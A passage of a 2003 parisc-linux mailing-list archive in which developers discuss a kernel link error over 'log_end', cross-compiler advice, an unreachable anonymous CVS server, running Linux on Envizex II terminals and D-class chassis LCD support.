	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jul 2003 23:00:16 -0600 (MDT)
Original-Received: from [200.181.169.17] (helo=brinquendo.conectiva.com.br)
	by orion.netbank.com.br with asmtp (Exim 3.33 #1)
	id 19dNPc-0003kQ-00
	for parisc-linux@lists.parisc-linux.org; Fri, 18 Jul 2003 02:04:08 -0300
Original-Received: by brinquendo.conectiva.com.br (Postfix, from userid 500)
	id E80241966C; Fri, 18 Jul 2003 04:33:00 +0000 (UTC)
Content-Disposition: inline
X-Url: http://advogato.org/person/acme
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18974

Second try:

arch/parisc/kernel/built-in.o: In function `pdc_console_die':
arch/parisc/kernel/built-in.o(.text.pdc_console_die+0x4c): undefined reference to `log_end'
arch/parisc/kernel/built-in.o: In function `pdc_console_restart':
arch/parisc/kernel/built-in.o(.text.pdc_console_restart+0x44): undefined reference to `log_end'
make: ** [.tmp_vmlinux1] Erro 139

Problem is:

===== kernel/printk.c 1.26 vs edited =====
--- 1.26/kernel/printk.c	Sat Jun 28 03:20:35 2003
+++ edited/kernel/printk.c	Fri Jul 18 01:29:15 2003
@@ -77,7 +77,7 @@
  */
 static unsigned long log_start;			/* Index into log_buf: next char to be read by syslog() */
 static unsigned long con_start;			/* Index into log_buf: next char to be sent to consoles */
-static unsigned long log_end;			/* Index into log_buf: most-recently-written-char + 1 */
+unsigned long log_end;			/* Index into log_buf: most-recently-written-char + 1 */
 static unsigned long logged_chars;		/* Number of chars produced since last read+clear operation */
 
 struct console_cmdline console_cmdline[MAX_CMDLINECONSOLES];


From - Thu Nov 08 21:28:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] cvs [login aborted]?
Date: Fri, 18 Jul 2003 07:27:43 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <3F056E95000037F7@ocpmta4.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622610 28307 80.91.229.3 (22 Nov 2014 02:16:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:50 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 23:27:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43791482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jul 2003 23:27:50 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19dNk1-0000UC-00
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 07:25:13 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 18 Jul 2003 07:27:43 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18975

Hi pa,

Is it an actual cvs server pb or a local pb I could have:
those last two days cvs -d :pserver:anonymous@cvs.parisc-linux.org:/var/cvs
"failed: Connection timed out"?

Any idea?

Thanks,
    Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/perf_asm.o not building
Date: Fri, 18 Jul 2003 01:38:39 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <200307180538.h6I5cdAI024133@hiauly1.hia.nrc.ca>
References: <20030718041440.GZ1582@conectiva.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622610 28310 80.91.229.3 (22 Nov 2014 02:16:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: acme@conectiva.com.br (Arnaldo Carvalho de Melo)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 17 23:43:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A05D7482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 17 Jul 2003 23:43:51 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9) with ESMTP id h6I5cdgL024134;
	Fri, 18 Jul 2003 01:38:40 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9/8.12.9/Submit) id h6I5cdAI024133;
	Fri, 18 Jul 2003 01:38:39 -0400 (EDT)
In-Reply-To: <20030718041440.GZ1582@conectiva.com.br> from "Arnaldo Carvalho de Melo" at Jul 18, 2003 01:14:40 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18976

> 2.6-bk (i.e. latest linus tree in master.kernel.org), using the
> xc-20020118.tar.bz2 cross compiler (latest):

This doesn't work as it doesn't have all the necessary parisc-linux
patches.  Use the parisc-linux source.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:28:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Witvliet, Hans" <Hans.Witvliet@Alcatel.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: Linux on Envizex II
Date: Fri, 18 Jul 2003 12:31:52 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <03273D4BC7F4D511AC440008C7E6F881542578@nlntmail2b.ats.nld.alcatel.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622610 28315 80.91.229.3 (22 Nov 2014 02:16:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "'Lucian Lacusta'" <llucian@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 18 04:32:13 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from relay1.alcatel.be (alc240.alcatel.be [195.207.101.240])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91CEC482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 04:32:12 -0600 (MDT)
Original-Received: from nlntadn.ats.nld.alcatel.nl (nlntadn.ats.nld.alcatel.nl [193.74.230.6])
	by relay1.alcatel.be (8.12.9/8.12.4) with ESMTP id h6IAVrrH021954;
	Fri, 18 Jul 2003 12:31:53 +0200 (MEST)
Original-Received: by nlntadn.ats.nld.alcatel.nl with Internet Mail Service (5.5.2653.19)
	id <K0RMHZG3>; Fri, 18 Jul 2003 12:31:53 +0200
X-Mailer: Internet Mail Service (5.5.2653.19)
X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18977

Hi Lucian,

To be honest, no
All our envizex I & II machines were thrown away (saved one), we only kept
mice, keyboards and displays.
All the ram and flash i sent to someone in Spain.
Certainly it might be considered a waste of resources, but at that time all
of us at work could get a 712/100, and later on C110 and B132 machines. And
these were certainly running linux.

If i remember correctly, it was possible to boot the envizex over the net
from a linux boot-server,
but stil running the enware software (there was an "howto" on that topic,
using enware 7.1 on a redhat tftp machine)

I have no clue if it is NOW possible to run linux of the box itself, (a
couple of years ago not), but perhaps someone on the list has tried it..
Booting from flash would be neat, as it would make a nice and silent machine
for the living room or so,
eventhough it would not break any speed records ;-)) 

Hans

-----Original Message-----
From: Lucian Lacusta [mailto:llucian@yahoo.com]
Sent: vrijdag 18 juli 2003 8:29
To: Hans.Witvliet@Alcatel.nl
Subject: Linux on Envizex II


Hi there!

Sorry to bother, I got your email address from a discussion liston the net,
in which you were
saying 

"It is some time ago, but i remember that I could launch remote shells on a
Envizex. (get/set config, ps and floppy operations)
I hoped that (someday) they could boot linux from flash..."

Did you manage to find any more information on whether is possible to run
Linux on the Envizex II
boxes - for example make them boot from the net or re-flash them?

Thank you!

BR,
Lucian

PS: I got one Envizex II box and I thought I couls play with it a bit... :)

__________________________________
Do you Yahoo!?
SBC Yahoo! DSL - Now only $29.95 per month!
http://sbc.yahoo.com


From - Thu Nov 08 21:28:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Wood <mwood@its.uct.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Chassis LCD on D200 supported?
Date: Fri, 18 Jul 2003 12:55:22 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <20030718105522.GA11203@marmite.its.uct.ac.za>
References: <3F0FF827.10107@sporbeck-family.de> <3F159B49.1020100@sporbeck-family.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622610 28318 80.91.229.3 (22 Nov 2014 02:16:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan Sporbeck <jan_lists@sporbeck-family.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 18 04:55:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.uct.ac.za (mail.uct.ac.za [137.158.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 29C37482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 04:55:34 -0600 (MDT)
Original-Received: from marmite.its.uct.ac.za ([137.158.26.155])
	by mail.uct.ac.za with esmtp (Exim 3.35 #1)
	id 19dStc-000JGp-00; Fri, 18 Jul 2003 12:55:28 +0200
Original-Received: by marmite.its.uct.ac.za (Postfix, from userid 1000)
	id 979361A338; Fri, 18 Jul 2003 12:55:22 +0200 (SAST)
Mail-Followup-To: Michael Wood <mwood@its.uct.ac.za>,
	Jan Sporbeck <jan_lists@sporbeck-family.de>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3F159B49.1020100@sporbeck-family.de>
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18978

On Wed, Jul 16, 2003 at 08:36:57PM +0200, Jan Sporbeck wrote:
> Hello again,
> 
> Jan Sporbeck wrote:
> >Hello,
> >
> >I am just wondering if the chassis lcd is supported on 9000/801/D200.
> 
> Doesnot anyone know?
> Is there no one using the lcd on a D-class?

The last time I had Linux installed on a D270, which was last year some
time, the LCD did not work for me either.

-- 
Michael Wood <mwood@its.uct.ac.za>


From - Thu Nov 08 21:28:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pdc_console_die: undefined reference to `log_end'
Date: Fri, 18 Jul 2003 12:17:25 +0100
Lines: 21
Approved: news@gmane.org
Message-ID: <20030718111725.GN23808@parcelfarce.linux.theplanet.co.uk>
References: <20030718043300.GB1582@conectiva.com.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622611 28319 80.91.229.3 (22 Nov 2014 02:16:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Arnaldo Carvalho de Melo <acme@conectiva.com.br>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 18 05:17:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CE83482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 05:17:29 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19dTEr-00021D-GP; Fri, 18 Jul 2003 12:17:25 +0100
Content-Disposition: inline
In-Reply-To: <20030718043300.GB1582@conectiva.com.br>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18979

On Fri, Jul 18, 2003 at 01:33:00AM -0300, Arnaldo Carvalho de Melo wrote:
> Second try:
> 
> arch/parisc/kernel/built-in.o: In function `pdc_console_die':
> arch/parisc/kernel/built-in.o(.text.pdc_console_die+0x4c): undefined reference to `log_end'
> arch/parisc/kernel/built-in.o: In function `pdc_console_restart':
> arch/parisc/kernel/built-in.o(.text.pdc_console_restart+0x44): undefined reference to `log_end'
> make: ** [.tmp_vmlinux1] Erro 139

You're using Linus' kernel, not ours ;-)  The diff's pretty small these
days and can be found at
http://cvs.parisc-linux.org/download/linux-2.5/patch-2.6.0-test1-pa1.gz

This particular bit is far too ugly to ever go upstream, so if you have any
thoughts on doing it better, please let me know...

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs [login aborted]?
Date: Fri, 18 Jul 2003 12:21:33 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20030718112133.GO23808@parcelfarce.linux.theplanet.co.uk>
References: <3F056E95000037F7@ocpmta4.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622611 28322 80.91.229.3 (22 Nov 2014 02:16:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 18 05:21:34 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE458482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 05:21:33 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 19dTIr-00024V-40; Fri, 18 Jul 2003 12:21:33 +0100
Content-Disposition: inline
In-Reply-To: <3F056E95000037F7@ocpmta4.freegates.net>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18980

On Fri, Jul 18, 2003 at 07:27:43AM +0200, Joel Soete wrote:
> Hi pa,
> 
> Is it an actual cvs server pb or a local pb I could have:
> those last two days cvs -d :pserver:anonymous@cvs.parisc-linux.org:/var/cvs
> "failed: Connection timed out"?

Hm, it's not working for me either:

willy@honeydew:~/kernel/pci-2.5$ cvs up Makefile 
cvs [update aborted]: connect to cvs.parisc-linux.org(192.25.206.14):2401 failed: Connection timed out
willy@honeydew:~/kernel/pci-2.5$ cat CVS/Root 
:pserver:anonymous@cvs.parisc-linux.org:/var/cvs

I think someone must have changed the firewall config because I can
reach port 2401 from localhost, but not from any other machine.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] arch/parisc/kernel/perf_asm.o not building
Date: Fri, 18 Jul 2003 13:26:19 +0200
Organization: ESIEE
Lines: 19
Approved: news@gmane.org
Message-ID: <20030718132619.524d8304.varenet@esiee.fr>
References: <20030718041440.GZ1582@conectiva.com.br>
	<200307180538.h6I5cdAI024133@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622611 28326 80.91.229.3 (22 Nov 2014 02:16:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:51 +0000 (UTC)
Cc: acme@conectiva.com.br (Arnaldo Carvalho de Melo),
	parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 18 05:31:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d108.dhcp212-198-139.noos.fr [212.198.139.108])
	by dsl2.external.hp.com (Postfix) with ESMTP id A5C58482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 05:31:35 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.8/8.12.7) with SMTP id h6IBQJrQ017949;
	Fri, 18 Jul 2003 13:26:21 +0200
In-Reply-To: <200307180538.h6I5cdAI024133@hiauly1.hia.nrc.ca>
X-Mailer: Sylpheed version 0.9.0claws (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18981

On Fri, 18 Jul 2003 01:38:39 -0400 (EDT)
"John David Anglin" <dave@hiauly1.hia.nrc.ca> wrote:

> > 2.6-bk (i.e. latest linus tree in master.kernel.org), using the
> > xc-20020118.tar.bz2 cross compiler (latest):
> 
> This doesn't work as it doesn't have all the necessary parisc-linux
> patches.  Use the parisc-linux source.
> 

fyi, there's a 3.0.4 xc for i686 (as well as many other platform) on
pateam:
http://pateam.esiee.fr/download.html


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:28:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs [login aborted]?
Date: Fri, 18 Jul 2003 08:44:26 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <20030718144427.4D0F272C5D@fc.hp.com>
References: <3F056E95000037F7@ocpmta4.freegates.net>  <20030718112133.GO23808@parcelfarce.linux.theplanet.co.uk>
Reply-To: bame@hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622612 28333 80.91.229.3 (22 Nov 2014 02:16:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:16:52 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jul 18 08:44:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5DC4C482B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 08:44:28 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP id 17B8F1C011D6
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 10:44:28 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp2.fc.hp.com (Postfix) with ESMTP id A8B2D23F5F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 08:44:27 -0600 (MDT)
Original-Received: from fc.hp.com (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 5AA4346BD
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 08:44:27 -0600 (MDT)
Original-Received: by fc.hp.com (Postfix, from userid 16602)
	id 4D0F272C5D; Fri, 18 Jul 2003 08:44:27 -0600 (MDT)
Original-Received: from paul.bame (localhost [127.0.0.1])
	by fc.hp.com (Postfix) with ESMTP id 48A9A62C78
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 Jul 2003 08:44:27 -0600 (MDT)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Fri, 18 Jul 2003 12:21:33 BST." <20030718112133.GO23808@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
